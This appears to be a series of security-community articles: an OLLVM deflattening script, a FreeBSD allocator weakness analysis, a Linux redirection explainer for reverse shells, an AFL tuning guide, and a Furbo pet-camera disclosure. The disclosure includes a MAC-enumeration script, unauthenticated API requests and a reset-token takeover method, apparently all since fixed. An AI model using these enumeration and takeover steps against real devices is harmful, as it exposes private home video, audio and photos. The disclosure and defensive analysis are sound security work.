movcodes=bytearray()
#如果IT指令之后有改变ZF状态操作，则将改变ZF状态的功能去除，ZF状态改变会影响分支的执行
for insnx in movinsns:
if insnx.insn.mnemonic.startswith('movs'):
encoding=ks_disasm('{} {}'.format('mov',insnx.insn.op_str))
movcodes.extend(encoding)
else: movcodes.extend(insnx.insn.bytes)
patch_info[pc]=(patch_addr_info,insn.op_str,movcodes)
if has_branches:
#有分支结构，对两个分支都进行符号执行
symbolic_execution(pc,state, bl_addr, it_addr[0])
symbolic_execution(pc,state, bl_addr,it_addr[1])
else:
symbolic_execution(pc,state,bl_addr)
def symbolic_execution(start_addr, state, bl_addrs=None, branch_addr=None):
global real_to_real_nodes
global regs_init_info,queue,flow,addrinqueue
def handle_bl(state):
pass
def handle_branch(state):
pass
def init_regs(state,regs_info):
if len(regs_info)==0:
return
for regstr,regvalue in regs_info.items():
if regstr=='r0': state.regs.r0=claripy.BVV(regvalue,32)
elif regstr=='r1': state.regs.r1=claripy.BVV(regvalue,32)
elif regstr=='r2': state.regs.r2=claripy.BVV(regvalue,32)
elif regstr=='r3': state.regs.r3=claripy.BVV(regvalue,32)
elif regstr=='r4': state.regs.r4=claripy.BVV(regvalue,32)
elif regstr=='r5': state.regs.r5=claripy.BVV(regvalue,32)
elif regstr=='r6': state.regs.r6=claripy.BVV(regvalue,32)
elif regstr=='r7': state.regs.r7=claripy.BVV(regvalue,32)
elif regstr=='r8': state.regs.r8=claripy.BVV(regvalue,32)
elif regstr=='r9': state.regs.r9=claripy.BVV(regvalue,32)
elif regstr=='r10': state.regs.r10=claripy.BVV(regvalue,32)
elif regstr=='r11': state.regs.r11=claripy.BVV(regvalue,32)
elif regstr=='r12': state.regs.r12=claripy.BVV(regvalue,32)
elif regstr=='sp': state.regs.sp=claripy.BVV(regvalue,32)
elif regstr=='lr': state.regs.lr=claripy.BVV(regvalue,32)
elif regstr=='pc': state.regs.pc=claripy.BVV(regvalue,32)
global project, relevant_block_addrs, modify_value
if bl_addrs!=None:
for addr in bl_addrs:
#hook bl指令 跳过函数调用
project.hook(addr[0], handle_bl, addr[1])
if branch_addr!=None:
#hook it指令 实现不同分支执行
project.hook(branch_addr[0],handle_branch,branch_addr[1],replace=True)
if state==None:
#初始化,用于第一次符号执行时
state = project.factory.blank_state(addr=start_addr, remove_options={angr.sim_options.LAZY_SOLVES},
add_option={angr.options.SYMBOLIC_WRITE_ADDRESSES})
#初始化寄存器
init_regs(state,regs_init_info)
sm = project.factory.simulation_manager(state)
loopTime=0
maxLoopTime=1
skip_addr=None
#如果是编译优化导致进行符号执行的相关块改变索引值后未跳转至主分发器，则跳过该相关块跳转到的下一个相关块
if start_addr in special_relevant_nodes:
skip_addr=special_relevant_nodes[start_addr]
maxLoopTime+=1
sm.step()
while len(sm.active) > 0:
for active_state in sm.active:
#多次循环至主分发器而不经过任何相关块，可认定该路径为死循环
if active_state.addr==main_dispatcher_node.addr:
if loopTime<maxLoopTime:
loopTime+=1
else:
return None
if active_state.addr==start_addr:
return None
if active_state.addr==retaddr:
return (active_state.addr, active_state, start_addr)
#判断是否是相关块
if active_state.addr in relevant_block_addrs and active_state.addr != skip_addr:
#如果是相关块，将该块的地址符号执行状态保存放入队列里面
queue.put((active_state))
#将符号执行的相关块和其后续相关块对应保存在字典里
flow[start_addr].append(active_state.addr)
#保存已经符号执行过的相关块，以免重复执行浪费时间
addrinqueue.append(start_addr)
sm.step()
其中project.hook用于直接跳过一些指令：
project.hook(self, addr, hook=None, length=0, kwargs=None, replace=False)
addr参数为hook的地址，length参数用于设置跳过的地址长度，hook参数可以设置一个在执行到这条指令时的回调方法。
sm.step会执行到下一个基本块的位置，这时判断如果该块是相关块的话，就停止符号执行，将该基本块的地址和当前的符号执行环境保存至之前所说的符号执行队列里，用于下一次对该块的符号执行。
这样等队列里所有块都符号执行完毕后，我们就理清了相关块之间的关系，下面一步，就是需要通过修改指令来建立相关块之间的跳转。
## patch指令建立相关块间的跳转
通过B系列指令来构建跳转，因为大部分相关块最后一条指令都是跳转回主分发器，对于还原混淆来说是无用的，所以我们选择在这里进行patch，将该指令替换成到下一个相关块的指令。如果是有分支结构的相关块，则需要patch两条跳转指令，这时哪里有空间存放另一条跳转指令呢？有两种方案可以解决：
1、相关块里最后用于改变索引值的指令都是无用的，所以我们可以将IT指令及其后面的分支指令去除，再将后面的指令移上去，这样就可以腾出空间放入另一条跳转指令。注意分支跳转指令的条件要和原先IT指令的条件保持一致。
patch前：
patch后：
2、如果去除IT相关指令后空间依然不够，第二种方法则是构建一个跳板，先跳转到一块无用代码区域(足够放下我们的跳转指令)，再从这块区域跳转到后面的相关块。无用代码区域从哪里找呢？可以从我们之前寻找相关块时过滤掉的代码块中获取，在过滤的时候将这些无用块的地址和大小保存起来，当需要构建跳板时再从中找到符合条件的代码区域。
patch过程中其他需要注意的地方因为该函数是Thumb-2代码，长度可以为2字节或4字节，如果原本到主分发器的跳转是2字节，而新的跳转范围如果过大则可能是4字节，所以在patch前都要先判断下预留空间是否足够，如果不够的话，再通过上述一二两种方法进行处理。
## 最终效果查看
我们对JNI_OnLoad函数进行完上述处理，可以看到平坦化结构已经被消除
ida CFG：
ida f5的效果：
当然啦，这只是完成了万里长征的第一步，里面的内容还需我们继续跟进。
## 总结
这篇主要讲一下ollvm反平坦化的思路和方法，下一篇我们再通过具体分析，找到其中的算法。
敬请关注！！！ | 社区文章 |
**作者：wzt
原文链接:<https://mp.weixin.qq.com/s/20ACZFyQiUWZf5cIm_ZW-w>**
### **1.1** **简介**
Freebsd的内核内存分配器叫做UMA(Universal Memory
Allocator)，这篇文章只关心它的安全特性，对于常规功能实现请读者朋友参考网络上的其他文章。它的安全功能特性相比XNU、NT、LINUX都少了很多，并且还存在一些不安全的构架设计，下面将会详细分析。
### **1.2** **架构设计缺点**
UMA的总体架构也是基于solaris slab，
我们直接看最底层的slab结构，一个slab大小为PAGE_SIZE，slab的管理体结构依据slab里的每个item大小而决定，对于小块item，slab管理结构体放在slab里，并且是放到PAGE_SIZE的最后。对于大块item，管理结构体则单独分配一个内存，不包含在slab里。
对于小块item， slab这种设计属于严重的安全错误设计，slab
header放在所有item的最后，如果最后一个item发生溢出，就可以直接覆盖slab header里的数据结构。
struct uma_slab {
uma_keg_t us_keg; /* Keg we live in */
...
}
Slab header结构为struct Uma_slab，它的第一个成员是us_keg。
struct uma_keg {
LIST_HEAD(,uma_zone) uk_zones; /* Keg's zones */
...
}
Uk_zones结构为：
struct uma_zone {
uma_ctor uz_ctor; /* Constructor for each allocation */
uma_dtor uz_dtor;
}
结构体成员uz_ctor和uz_dtor为每个zone在创建和销毁时调用的析构函数指针，exploit程序一般都会替换这两个函数指针，使其指向shellcode地址。Slab
header放在最后，使堆溢出攻击相对linux变得更加简单， 因为linux的slab
header就是放在最前面的。我们在设计内存分配器时就要避免这个糟糕的设计，同时管理结构体中函数指针的定义一定要做到最少，防止被exploit程序滥用。
### **1.3** **安全特性缺失**
#### **1.3.1 溢出检测**
能检测到溢出情况的发生是每个内存分配器的基础安全能力，业界的通用算法是在内存区块的前后加入redzone，在初始化时填充一个固定值，在内存释放时检测redzone里的固定值是否有改变来判断是否有溢出行为的发生。
UMA的redzone结构为：
在data的前面分别为struct stack
保存的是当前栈信息，size为data的大小，0x42则为redzone的固定值，一共16字节。在data的最后同样为16字节的固定值。
由于设置redzone会占用更多的内存，同时会使初始化和释放逻辑变得复杂，从而影响效率，所以检测溢出的发生都是作为debug选项来开启的。几乎所有主流的os内核内存分配器在设置redzone时都使用了固定值，笔者认为这也是一个不安全的设计，exploit编写者可以精心构造内存结构，使其shellcode地址指向0x42424242，就可以绕过检测。
#### **1.3.2 UAF检测**
对于UAF(Use After Free)的检测，freebsd没有实现这个功能，一般算法是在slab
item释放时对data区域填充固定的值，在分配时先检测固定值有没有被污染，以此来判断有无UAF的发生。
#### **1.3.3 双向安全链表**
双向链表的删除操作时，要先检测前后节点是否为合法地址， freebsd同样没有设计这个功能。
#### **1.3.4 item地址随机化**
Slab里保存的item为了初始化简单, 每个item都是顺序链接的，
这给exploit程序的利用提供了极大的方便。Linux内核使用了洗牌算法将item的链接顺序打乱来规避这种攻击。Freebsd没有提供这个功能。
#### **1.3.5 管理结构体cookie**
同样为了检测是否有内存破坏的现象，
通常会在一些管理结构体中加入一个随机化的cookie值，内存释放时判断cookie是否有被污染。freebsd没有提供这个功能。
* * * | 社区文章 |
# Furbo 宠物智能喂食器可导致用户被窥视的漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：lethalbit.com
原文地址：<https://lethalbit.com/furbo/>
译文仅供参考，具体内容表达以及含义原文为准。
## TL;DR
缺乏足够的访问控制和授权，API中使用可预测的设备ID，以及密码重置机制的缺陷，都可能使Furbo所有用户的[视频](https://lethalbit.com/furbo/#takeover)、[家庭私密照片](https://lethalbit.com/furbo/#photos)、[语音消息](https://lethalbit.com/furbo/#audioleak)被攻击者访问，攻击者甚至可以[把食物扔给用户的宠物](https://lethalbit.com/furbo/#takeover)。
## 背景
在即将播出的一集McAfee的[Hackable](http://hackablepodcast.com/)
podcast中，我拿到了一台Furbo（一种狗食投掷装置）用于安全评估。FURBO是一款狗用的拥有相机功能，可以通过你的手机按一下按钮就能把食物扔出去的机器，是在工作或度假时看狗的好方法。
目前，Furbo是亚马逊上最畅销的狗摄像头，售价在250美元到300美元之间。
Furbo曾多次出现在媒体上，比如“纽约时报”、“技术快报”和最近的“[艾伦脱口秀](https://www.youtube.com/watch?v=nqug-3O8hC4)”，他们在节目中向观众赠送Furbo作为圣诞礼物。
艾伦脱口秀上的Furbo：<https://youtu.be/nqug-3O8hC4>
## Furbo的特点
Furbo配备了高清摄像头，夜视功能，双向音频(你可以和你的狗说话，听到它的吠声)AI智能狗识别技术，以及一个应用程序，让你与设备互动。以下是其中一些特点：
[](https://p2.ssl.qhimg.com/t016bc2742330181a7a.jpg)
## Furbo的高级特征：Smart Dog Alerts
Furbo有一个叫做“Smart Dog Alerts
”的高级功能，每当AI发现你的狗有异常活动或希望得到关注时，它会发送通知到你的电话。这个功能在默认情况下是打开的。
一旦发生了一些活动，Furbo将弹出一个带有触发器描述的通知：
[](https://p5.ssl.qhimg.com/t01a1a580d7916dc590.jpg)
## 这背后发生了什么
Furbo通过蓝牙进行设备的初始设置，并使用[实时流媒体协议(RTSP)-RFC2326](https://tools.ietf.org/html/rfc2326)传输视频流。通过RTSPS将视频流发送到不同区域的多个IP地址，每一张由SmartDog
Alerts功能拍摄的照片都被上传到Amazon S3中。
Furbo的移动应用程序从他们的云服务下载你的照片，一旦你浏览到主页，它们就会被填充到Furbo日常的“时间线”中，就是当天发生的所有事件。
[](https://p5.ssl.qhimg.com/t01ba089cca264e9cf5.jpg)
## 远程攻击的Furbo
### 访问你所有的照片
问题在于移动应用程序执行的API调用之一，即在打开App时接收当天的事件。
事件是由设备拍摄的照片/瞬间，这些照片/瞬间后面会被归类为“人”、“狗自拍”和“狗活动”。
时间线由使用值为当前日期的LocalTime参数的POST请求发送。然后，该响应将包含3个不同的键：PersonDetected
DogMoveAbove10secs和Selfie，如果日期有效并且照片是当天拍摄的，这些最终将是客户的照片。
这个API在请求中需要一个有效的MAC地址，但是没有会话令牌或任何类似的东西。获得有效的MAC地址并不困难，因为相机是由台湾的一家名为Chicony
Electronics的制造商生产的，而且它们的地址是以B0：c0：90为前缀的。
通过生成MAC地址字典，并且考虑到MAC是一个注册设备，响应将包括在localtime参数中指定的当天的Amazon S3的图像链接。
以下代码可用于生成随机MAC地址：
>>> for _ in range(200): print "%s:%02x:%02x:%02x" %('B0:C0:90', random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
...
B0:C0:90:74:c5:d6
B0:C0:90:02:64:85
B0:C0:90:ab:3e:a4
B0:C0:90:00:1c:5f
B0:C0:90:bf:fc:e3
B0:C0:90:94:d7:8a
B0:C0:90:5c:b3:86
B0:C0:90:b0:57:c7
B0:C0:90:ca:37:b0
攻击请求示例:
POST /endpoint HTTP/1.1
Cache-Control: no-cache
Content-Type: application/json
User-Agent: FurboApp/3.1.1 (Linux; U; Android 6.0.1; en; samsung/SM-J120W) ROM/0.1.0.0 (samsung; 32011752d4df54a1)
Authorization: Basic
Content-Length: 942
Host: hostname
Connection: close
{"LocalTime":"2018-03-08 00:27:17"}
响应示例:
{
"EventTypes": [
{
"Count": 70,
"Type": "DogMoveAbove10Sec"
},
{
"Count": 5,
"Type": "PersonDetection"
},
{
"Count": 1,
"Type": "Selfie"
}
],
"Events": [
{
"LocalTime": "2018-03-02 23:22:41",
"OriginImg": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Thumbnail": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Type": "DogMoveAbove10Sec"
},
{
"LocalTime": "2018-03-02 23:20:19",
"OriginImg": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Thumbnail": "https://redacted.s3.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Type": "DogMoveAbove10Sec"
},
{
"LocalTime": "2018-03-02 21:34:10",
"OriginImg": "https://redacted.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Thumbnail": "https://redacted.amazonaws.com/*******************?AWSAccessKeyId=*********&x-amz-security-token=**********",
"Type": "PersonDetection"
},
]
}
虽然默认情况下启用了Smart Dog Alerts，但是应用程序让你通过设置页面自定义要捕获的智能警报。
[](https://p2.ssl.qhimg.com/t0136947a09486c3074.png)
可以使用这个API调用来获得设备的设置，而不是枚举设备。其中包括设置，如是否启用了“Smart Dog
Alerts”功能。这将允许更加快速的攻击，但只针对启用了易受攻击组件的设备。
获取设备设置的API调用示例：
GET /endpoint HTTP/1.1
Host: hostname
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
HTTP/1.1 200 OK
Date: Wed, 07 Mar 2018 17:46:29 GMT
Content-Type: application/json
Content-Length: 76
Connection: close
Server: Apache/2.4.18 (Ubuntu)
{
"DogMoveAbove10Sec": "1",
"PersonDetection": "1",
"Selfie": "1"
}
1表示已启用，0表示已禁用。
## 收集要攻击的设备
使用目前为止我们所知道的，并且使用这个逻辑，可以保证在多线程的情况下几分钟内获得数百个客户的数据。
[](https://p5.ssl.qhimg.com/t0164b33f68528d05bc.png "枚举Furbo帐户")
## 最可怕的是
[](https://p4.ssl.qhimg.com/t01108e497fb1ed817b.png "夜间图片")
[](https://p3.ssl.qhimg.com/t014ea79b7e8e3a216c.jpg "我的两只猫")
[](https://p5.ssl.qhimg.com/t01296c29bcfd94d404.jpg
"我在清理使用Furbo抛投功能后那些乱七八糟的东西")
这时候，我开始寻找与谁联系来报告这个问题。
## 获取你所有的录音
### FURBO的旗舰特色：抛投
Furbo的真正价值在于其投掷的特征，这其实是相当巧妙的。
在产品的正中间，有一个小洞和一个机制，一旦你使用应用程序的投掷功能它会从容器重新装载食物然后投掷。我有猫，所以这里有一个视频，看它如何与猫互动的：
视频：<https://lethalbit.com/furbo/images/tossing.mp4>
但是狗怎么知道你什么时候要扔食物呢？问得好！Snack！
### Snack
Snack是一种声音，在你滑动投掷食物时播放。让我们来记录一条6秒的消息，或者使用默认的内置声音。
[](https://p0.ssl.qhimg.com/t014dc05cfb86268a43.png)
该特性与视频缺陷相同，使用API上传音频，然后提供直接的S3链接。与视频没有什么不同，它只使用基本的auth，这可能导致允许攻击者访问用户的音频文件。
音频：<https://lethalbit.com/furbo/images/treat_toss.wav>
我没有足够的时间来进一步探讨这个功能，因为我披露后供应商快速反应，取消了服务。但是，上传文件时调用的音频HTTP PUT请求可能也是易受攻击的。
从理论上讲，我可以把我自己的声音文件上传到用户的Furbo。
## 全天候跟踪你
### 完全接管帐户
我看了一下如何重新设置帐户密码。
在“密码重置”页上，当你重置帐户的密码时，它会调用发送电子邮件API。然后，响应就是一个令牌。我把它记下来以备后用。
密码重置请求：
POST /send-email HTTP/1.1
Host: host
Connection: close
Content-Length: 47
Accept: application/json, text/javascript, */*; q=0.01
Origin: hostname
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; SM-J120W Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.137 Mobile Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en-GB;q=0.9,en-US;q=0.8,en;q=0.7
{"Email":"[email protected]","Locale":"en-US"}
密码重置响应:
HTTP/1.1 200 OK
Date: Sat, 10 Mar 2018 13:33:58 GMT
Content-Type: application/json
Content-Length: 69
Connection: close
Server: Werkzeug/0.12.2 Python/3.5.2
{"Message":"IkhQTFRaU[redacted]VjIEly2XUWdVMAh8"}
不出所料，我收到了一封电子邮件，里面有一个链接，可以重新设置我的密码。我看到了以下内容：
[](https://p5.ssl.qhimg.com/t01ba3dff378a7aca1a.png)
接着，我点击了链接，突然发现地址栏里有一些看起来很熟悉的东西。
[](https://p1.ssl.qhimg.com/t01b2c7429106ca0a29.png)
地址栏中的令牌与我之前记下的令牌相同！这意味着我可以重新设置任何Furbo的帐户密码，而不需要访问受害者的电子邮件帐户！
到目前为止，我们只能访问静态照片和音频记录。但这允许我以其他人的身份登录。这使我可以执行以下任何一项操作：
* 观看你的生活
* 听到你说话
* 跟你说话
* 查看你的历史照片数据
* 扔食物给你的宠物
FURBO设备接管DEMO：
<https://lethalbit.com/furbo/images/full_account_takeover.mp4>
## 联系Furbo
* 2018年3月2日-我寻找联系Furbo的方法。在多个平台上给他们发短信后，他们的客户支持经理联系了我寻求更多细节。随后，Furbo技术小组着手调查该报告。
* 2018年3月2日-我被告知已经推送修复，但显然，它没有解决我报告的问题。
* 2018年3月4日-Furbo打电话给我，要求提供漏洞证明。他们寄给我一个他们的设备的MAC地址，让我告诉他们那里有哪些照片。结果是：[](https://p5.ssl.qhimg.com/t011ed8d4d5935e377e.jpg)
* 2018年3月4日-Furbo公司暂停该功能。API调用已经修复。
* 2018年3月7日-我联系了Furbo，让他们知道Snack呼叫功能中的语音记录漏洞。
* 2018年3月7日-Furbo更新说，他们将暂停Snack Call功能，直到新版本发布。
* 2018年3月9日-发布了一个新的应用程序版本，它修复了视频和语音记录API中的漏洞。
* 2018年3月12日-我联系了Furbo，让他们知道账户的接管情况。他们给了我一个电子邮件账户，我证明了报告的有效性。以下是一张在Furbo总部办公室拍摄的照片：
* 2018年3月12日-我们接到电话，证实问题似乎已经解决。此时所有提到的漏洞都得到了解决。
* 2018年3月15日-我联系了Furbo，发现了另一个漏洞
* 2018年3月20日-Furbo通报说，将在下一次固件升级中推出一个补丁。
* 2018年3月20日-奖励：Pet food basket(我谢绝了)。
* 2018年6月16日-公开发行
## 注意
Furbo团队非常迅速地处理报告和修复缺陷。根据我的建议，他们决定取消服务以防止更多的潜在风险，考虑到目前的情况，这是正确的做法。
## 联系方式
如有任何问题，请通过电子邮件 d.farhi#lethalbit.com
或[twitter](https://twitter.com/dolevfarhi)与我联系
审核人：yiwang 编辑：边边 | 社区文章 |
## **0X00 前言**
由于在反弹shell的过程中有一些非常精简的语句，但是一直没有深入理解，只是作为一个伸手党/搬运工，于是下定决心要将其弄明白，而这里面最难的也就是文件描述符和重定向的部分，因此我特地写一篇文章单独解释这个问题。
## **0X01 文件描述符**
> **linux文件描述符**
> ：可以理解为linux跟踪打开文件，而分配的一个数字，这个数字有点类似c语言操作文件时候的句柄，通过句柄就可以实现文件的读写操作。
当Linux启动的时候会默认打开三个文件描述符，分别是：
标准输入standard input 0 （默认设备键盘）
标准输出standard output 1（默认设备显示器）
错误输出：error output 2（默认设备显示器）
### **注意：**
（1）以后再打开文件，描述符可以依次增加
（2）一条shell命令，都会继承其父进程的文件描述符，因此所有的shell命令，都会默认有三个文件描述符。
**文件所有输入输出都是由该进程所有打开的文件描述符控制的。（Linux一切皆文件，就连键盘显示器设备都是文件，因此他们的输入输出也是由文件描述符控制）**
一条命令执行以前先会按照默认的情况进行绑定（也就是上面所说的
0,1,2），如果我们有时候需要让输出不显示在显示器上，而是输出到文件或者其他设备，那我们就需要重定向。
## **0X02 重定向**
重定向主要分为两种(其他复杂的都是从这两种衍生而来的)：
（1）输入重定向 < <<
（2）输出重定向 > >>
### **重点：**
1.bash
在执行一条指令的时候，首先会检查命令中存不存在重定向的符号，如果存在那么首先将文件描述符重定向（之前说过了，输入输出操作都是依赖文件描述符实现的，重定向输入输出本质上就是重定向文件描述符），然后在把重定向去掉，执行指令
2.如果指令中存在多个重定向，那么不要随便改变顺序，因为重定向是从左向右解析的，改变顺序可能会带来完全不同的结果（这一点我们后面会展示）
3.< 是对标准输入 0 重定向 ，> 是对标准输出 1 重定向
**4.再强调一下，重定向就是针对文件描述符的操作**
### **1.输入重定向**
格式： [n]< word **（注意[n]与 <之间没有空格）**
说明：将文件描述符 n 重定向到 word 指代的文件（以只读方式打开）,如果n省略就是0（标准输入）
解释: 解析器解析到 "<" 以后会先处理重定向，将标准输入重定向到file，之后cat再从标准输入读取指令的时候，由于标准输入已经重定向到了file
，于是cat就从file中读取指令了。( **有没有觉得这个其实就是C语言中的指针或者文件句柄，就是将0这个指针指向了不同的地址，自然有不同的输入** )
图示:
### **2.输出重定向**
格式： [n]> word
说明： 将文件描述符 n 重定向到word 指代的文件（以写的方式打开），如果n 省略则默认就是 1（标准输出）
图示：
### **3.标准输出与标准错误输出重定向**
格式： &> word >& word
说明:将标准输出与标准错误输出都定向到word代表的文件（以写的方式打开），两种格式意义完全相同，这种格式完全等价于 > word 2>&1 (2>&1
是将标准错误输出复制到标准输出，&是为了区分文件1和文件描述符1的，详细的介绍后面会有)
解释：我们首先执行了一个错误的命令，可以看到错误提示被写入文件（正常情况下是会直接输出的），我们又执行了一条正确的指令，发现结果也输入到了文件，说明正确错误消息都能输出到文件。
图示：
### **4.文件描述符的复制**
格式： [n]<&[m] / [n]>&[m] **(这里所有字符之间不要有空格)**
说明：
1）这里两个 **都是将文件描述符 n 复制到 m** ，两者的区别是，前者是以只读的形式打开，后者是以写的形式打开
**因此 0 <&1 和 0>&1 是完全等价的（读/写方式打开对其没有任何影响）**
2）这里的& 目的是为了区分数字名字的文件和文件描述符，如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件，而不是一个文件描述符
这里就可以用上面的例子作为演示，将错误和正确的输出都输入到文件中
### **重点：**
之前我们说过，重定向符号的顺序不能随便换，因为系统是从左到右执行的，我们下面就举一个例子
(1)cmd > file 2>&1
(2)cmd 2>&1 >file
与第一条指令类似的指令在上面我已经介绍过了，我们现在就来看看第二条指令的执行过程
**1.首先解析器解析到 2 >&1**
**2.解析器再向后解析到 “ >”**
### **5.exec 绑定重定向**
格式：exec [n] </> file/[n]
上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效，如果需要接下来的指令都支持的话就需要使用 exec 指令
### **重点：**
格式： [n]<>word
说明：以读写方式打开word指代的文件，并将n重定向到该文件。如果n不指定的话，默认为标准输入。
## **0X03 总结**
文件描述符和重定向的作用巨大，很好的体现出了Linux中一切皆文件的特性，在反弹shell建立交互通道的过程中也起到了至关重要的作用。
个人博客： <http://www.k0rz3n.com>
## **0X04 参考链接**
<https://blog.csdn.net/ccwwff/article/details/48519119>
<http://www.cnblogs.com/chengmo/archive/2010/10/20/1855805.html>
<http://www.178linux.com/54471> | 社区文章 |
# AFL源码分析（Ex.3）——附录（Part 3）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0\. 写在前面
**本文全文参考了[da1234cao](https://github.com/da1234cao)师傅的`Github`仓库<https://github.com/da1234cao/translation/tree/master/AFL>
的相关内容，我对全文中机翻程度过高以致未正确表达原文语义、异译程度过高以致偏离原文语义、语句不通顺或不合语法的大量文本进行了修改，特此说明。以下文章中的“原译者”即代指[da1234cao](https://github.com/da1234cao)师傅。**
此文章主要是对`AFL`仓库中`doc`目录下的所有文档进行翻译。
* [x] env_variables.txt(环境变量手册) —— 历史文章(Part 1)
* [ ] historical_notes.txt(历史记录)
* [ ] INSTALL(安装说明)
* [x] life_pro_tips.txt(使用技巧) —— 历史文章(Part 1)
* [x] notes_for_asan.txt(`ASAN`模式手册) —— 历史文章(Part 2)
* [x] parallel_fuzzing.txt(同步`fuzz`模式手册) —— 历史文章(Part 2)
* [x] perf_tips.txt(故障排除手册) —— 本文
* [x] QuickStartGuide.txt(快速上手) —— 本文
* [ ] sister_projects.txt
* [x] status_screen.txt(GUI手册) —— 本文
* [ ] technical_details.txt
后续附录将继续翻译以上列表中的文章。
## 1\. perf_tips.txt(故障排除手册)
此文件提供了对缓慢或资源浪费的模糊测试作业进行故障排除的提示。 有关一般说明手册，请参阅自述文件。
### 1.1 保持你的输入样例为小型文件
这可能是最重要的一步！大型输入文件不仅需要更多的时间和内存来让待测的二进制文件顺利解析此输入，而且还会在其他的几个方面显着降低模糊测试过程的效率。
为了说明这一点，假设您的样本变异规则是随机对种子文件中的内容进行位翻转操作，一次操作一位。 那么假设如果你翻转第`47`位，你会遇到一个安全漏洞；
翻转任何其他位只会导致被测程序抛出一个”无效文档”的异常。
现在，如果您的种子测试用例的长度为`100`个字节，那么您将有`71％`的机会在前`1,000`个exec中触发错误——针不戳！
但是，如果测试用例的长度为`1 KB`，则我们将在同一时间范围内随机触发错误的可能性将降低至`11％`。那么进一步的，如果它具有`10
KB`的非必需杂内容，则触发错误的可能性将下降到`1％`。
最重要的是，在输入样例较大的情况下，待测目标的运行速度可能比以前慢`5`到`10`倍——因此，模糊效率的总体下降可能很容易高达`500`倍左右。
在实践中，这意味着您不应该直接使用您使用手机等专业设备拍摄的照片来模糊测试图像解析器。
而是生成一张很小的`16x16`图片，并通过`jpegtran`或`pngcrunch`运行该图片以取得良好效果。 大多数其他类型的文档也是如此。
`../testcases/*`中有很多小型的种子测试用例——试试看使用他们或提交新的测试用例！
如果要以更大的第三方语料库启动测试，请首先在该数据集上运行`afl-cmin`以缩小输入样例并设置有效的超时时间。
### 1.2 使用一个简单的目标
请考虑在您的模糊测试工作中使用更简单的目标二进制文件。
例如，对于图像格式，轻量的实用程序(如`djpeg`、`readpng`或`gifhisto`)比`ImageMagick`的转换工具快得多(`10-20`倍)——尽管他们都使用大致相同的库级图像解析代码。
即使您没有针对特定目标的轻量级工具，也请记住，您始终可以使用另一个相关的库来生成语料库，然后稍后将其手动输入到耗费更多资源的程序中。
[原译者注：对于目标中使用的二进制文件，选择尽量小的，且可以达到需要的功能。测试一个程序的时候，能不能不一个大程序分开来测试，不同的阶段有不同的输出。类似于流水线的方式测试，加快测试速度。]
### 1.3 启用基于 LLVM 的检测模式
当对慢速目标进行模糊处理时，可以使用`llvm_mode/README.llvm`中介绍的基于`LLVM`的检测模式，`fuzzer`的性能将被提高2倍。
请注意，此模式需要使用`clang`，不适用于`GCC`。
`LLVM`模式还提供了两种额外的模糊测试模式：
* `persistent mode`：进程内持久化`fuzz`模式，该模式对于某些类型的自有库文件可以很好地工作，对于快速目标，可以将性能提高5-10倍。
* `deferred fork server`模式：延迟`fork`模式，该模式可以为启动开销高的程序提供巨大的增益。两种模式都要求您能编辑待测程序的源代码，但更改通常只是策略性地增加一两行。
### 1.4 对待测文件进行前置的分析和优化
检查是否有任何明显改善性能的参数或设置。 例如，可以使用以下命令调用`IJG jpeg`和`libjpeg-turbo`随附的`djpeg`实用程序：
-dct fast -nosmooth -onepass -dither none -scale 1/4
这将加快此程序的运行速度，尽管这伴随着解码图像的质量相应下降的代价，但这可能并不是您关心的问题。
在某些程序中，可以完全禁用程序的输出流，或者至少使用计算成本较低的输出格式。 例如，使用图像转码工具，转换为`BMP`文件将比转换为`PNG`快很多。
对于某些可以忽略错误的解析器，启用更为严格的模式(即，在发生第一个错误后退出)可能会导致生成的样例输入文件更小并改善运行时间，而不会牺牲覆盖率。例如，对于`sqlite`，您可能需要指定`-bail`。
如果程序仍然太慢，您可以使用`strace -tt`或等效的性能分析工具来查看测试目标文件是否正在在做任何会导致运行变慢的事情。
有时，您可以通过将目标文件的`stdin/stdout/stderr`等交互流设置为`/dev/null`或禁用某些实际测试并不真正需要的编译时功能来加快速度(尝试`./configure
--help`)。 众所周知，会大量消耗资源的事情之一是通过`exec*()、popen()、system()`或其等效函数去调用其他实用程序。
例如，当`tar`确定输入文件是压缩档案时，它可以调用外部解压缩工具去解压此文件。
一些程序还可能故意调用`sleep()`、`usleep()`或`nanosleep()`，`vim`就是一个很好的例子。
其他程序可能会尝试`fsync()`等。
有第三方库可以帮助您轻松删除此类代码，例如：<https://launchpad.net/libeatmydata>
[原译者注：这个挺好]
在测试由于不可避免的初始化开销而导致缓慢的程序时，您可能想尝试使用带`LLVM`延迟的`forkserver`模式(请参阅
`llvm_mode/README.llvm`)，此模式可以使您的测试速度提高高达`10`倍。
最后，很重要的是，如果您正在使用`ASAN`并且发现其运行的性能不可接受，请考虑暂时将其关闭，稍后使用启用`ASAN`的二进制文件手动检查其生成的语料库。[译者注：这里相当于把检查内存的功能摘出来。如果检查的内容可以分类，每次运行检查不同的内容，并行运行检查？感觉有点得不偿失。那对于过于消耗时间的内容检查，是不是可以摘出来做？以什么合适的尺度来判读是不是适合摘出来做。]
### 1.5 确保只检测真正想要测试的库
只检测您现在真正想要进行测试的库，一次只测试一个库。 `fuzzer`不会将系统范围的、非检测目标的库用于此次测试。
例如，在大多数情况下，`fuzzer`不会仅仅因为您正在测试依赖于`bignum`数学的加密测试目标而对`libgmp`进行检测。
当心那些把奇怪的第三方库和他们的源代码捆绑在一起的程序(`Spidermonkey`就是一个很好的例子)。
检查并调整`./configure`选项来将程序调整到最佳状态。
